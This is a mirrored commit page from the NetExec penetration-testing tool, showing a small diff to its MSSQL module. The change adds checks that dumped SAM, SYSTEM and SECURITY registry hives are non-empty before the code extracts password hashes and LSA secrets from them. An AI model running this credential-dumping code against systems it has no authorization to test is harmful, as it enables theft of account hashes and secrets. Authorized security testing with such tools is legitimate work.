admin/Pennyw0rth-NetExec
1
0
Fork 0
mirror of https://github.com/Pennyw0rth/NetExec synced 2026-06-06 16:34:30 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #1011 from Pennyw0rth/neff-add-priv-check-mssql

Browse Source
This commit is contained in:
Alex
2025-11-22 19:13:30 +01:00
committed by GitHub
parent 8407071696 99ab1acd5a
commit bdfdcd3031
1 changed files with 10 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
nxc/protocols/mssql.py
+10 -2
View File
@@ -521,13 +521,17 @@ class mssql(connection):
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", output_filename + ".sam")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", output_filename + ".system")
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
except Exception as e:
self.logger.fail(f"Failed to dump SAM database, error: {e!s}")
self.logger.debug(f"Error dumping SAM: {e}", exc_info=True)
else:
if not (os.path.exists(f"{output_filename}.sam") and os.path.getsize(f"{output_filename}.sam") > 0) \
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
self.logger.fail("SAM or SYSTEM hive could not be dumped, privs may not be sufficient.")
return
self.logger.display("Dumping SAM hashes")
local_operations = LocalOperations(f"{output_filename}.system")
boot_key = local_operations.getBootKey()
@@ -557,6 +561,10 @@ class mssql(connection):
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
self.logger.debug(f"Error dumping LSA: {e}", exc_info=True)
else:
if not (os.path.exists(f"{output_filename}.security") and os.path.getsize(f"{output_filename}.security") > 0) \
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
return
self.logger.display("Dumping LSA secrets")
local_operations = LocalOperations(f"{output_filename}.system")
boot_key = local_operations.getBootKey()